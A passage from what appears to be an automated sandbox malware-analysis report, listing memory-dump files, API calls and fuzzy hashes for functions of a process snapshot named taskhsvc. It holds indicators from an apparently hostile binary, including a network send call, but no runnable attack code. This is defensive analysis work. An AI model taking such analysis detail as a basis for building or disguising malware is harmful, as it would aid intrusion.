                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: abort$__stack_chk_failfree
                                        • String ID: P,$h"
                                        • API String ID: 3331017156-2798968069
                                        • Opcode ID: 0c3cecb48ecd25e42e54ad57a2eeeae3b095ad2ea94ebbd22fd6cf7afb4c2ade
                                        • Instruction ID: fbf6a952619ee4715bae04296eccafbcc04b2d9f7663de7baf4229c428e26992
                                        • Opcode Fuzzy Hash: 0c3cecb48ecd25e42e54ad57a2eeeae3b095ad2ea94ebbd22fd6cf7afb4c2ade
                                        • Instruction Fuzzy Hash: B35192B4A043099FCB00EFA9D5856AEBBF0BF48344F118859E994EB351D774E944CF22
                                        Function 00BDE0B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00BDE10A
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • abort.MSVCRT ref: 00BDE17C
                                        • abort.MSVCRT ref: 00BDE1BB
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BDE24C
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$strrchr
                                        • String ID: K$02
                                        • API String ID: 797389190-867648362
                                        • Opcode ID: cb90176c1706a3b6e960e3aef90209dd6662d89b5a2ba14fa27512973390b44d
                                        • Instruction ID: 3f48fcce130390380db0a21ac27609bb6b1a5a949ad66ae9eaa3b59386eeefe0
                                        • Opcode Fuzzy Hash: cb90176c1706a3b6e960e3aef90209dd6662d89b5a2ba14fa27512973390b44d
                                        • Instruction Fuzzy Hash: C241B4B49083059FDB00EFA4D5866AEFBF1EF44344F018859E594AB341D778D985CBA2
                                        Function 00BE488E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98networkCOMMON
                                        Download Yara Rule
                                        APIs
                                        • send.WS2_32 ref: 00BE48F4
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BE4A08
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00BE3B5E: abort.MSVCRT ref: 00BE3BBD
                                          • Part of subcall function 00BE3B5E: abort.MSVCRT ref: 00BE3C00
                                          • Part of subcall function 00BE3B5E: __stack_chk_fail.LIBSSP-0 ref: 00BE3CB8
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00BE49F5
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$strrchr$send
                                        • String ID: G'$`R$ld
                                        • API String ID: 4093867158-1723054627
                                        • Opcode ID: db61f895b3a2e154c7c67bbb25beca66a09b2d45631ce49135e27b36d49063f4
                                        • Instruction ID: ce327f0e055db207bce2c5a945c38af6658c00d1118f015953eda3ec9612f950
                                        • Opcode Fuzzy Hash: db61f895b3a2e154c7c67bbb25beca66a09b2d45631ce49135e27b36d49063f4
                                        • Instruction Fuzzy Hash: C041C2B8904249DFCB00DFA9C5856AEBBF0FF48314F108959E4A8BB351D7789984CF66
                                        Function 00C875C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90COMMON
                                        Download Yara Rule
                                        APIs
                                        • time.MSVCRT ref: 00C875F0
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                        • abort.MSVCRT ref: 00C87690
                                        • abort.MSVCRT ref: 00C876E2
                                        • event_add.LIBEVENT-2-0-5 ref: 00C87713
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C87724
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortstrrchr$event_addtime
                                        • String ID: A
                                        • API String ID: 2004909516-3554254475
                                        • Opcode ID: cf61c3877751e65a44f27930b951bbcaf409d737c1d01dec0e5f6f97d1f2fd63
                                        • Instruction ID: 02f8ffc579b6f1cb7940c6691a7c8176fd3ef561e5979c79171b469764bb0b47
                                        • Opcode Fuzzy Hash: cf61c3877751e65a44f27930b951bbcaf409d737c1d01dec0e5f6f97d1f2fd63
                                        • Instruction Fuzzy Hash: 4241B2B4904209DFCB00EFA8D1856AEBBF1FF48314F159819E594AB341E778DA84CF66
                                        Function 00CB33E8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 89COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00CB40CE: abort.MSVCRT ref: 00CB412D
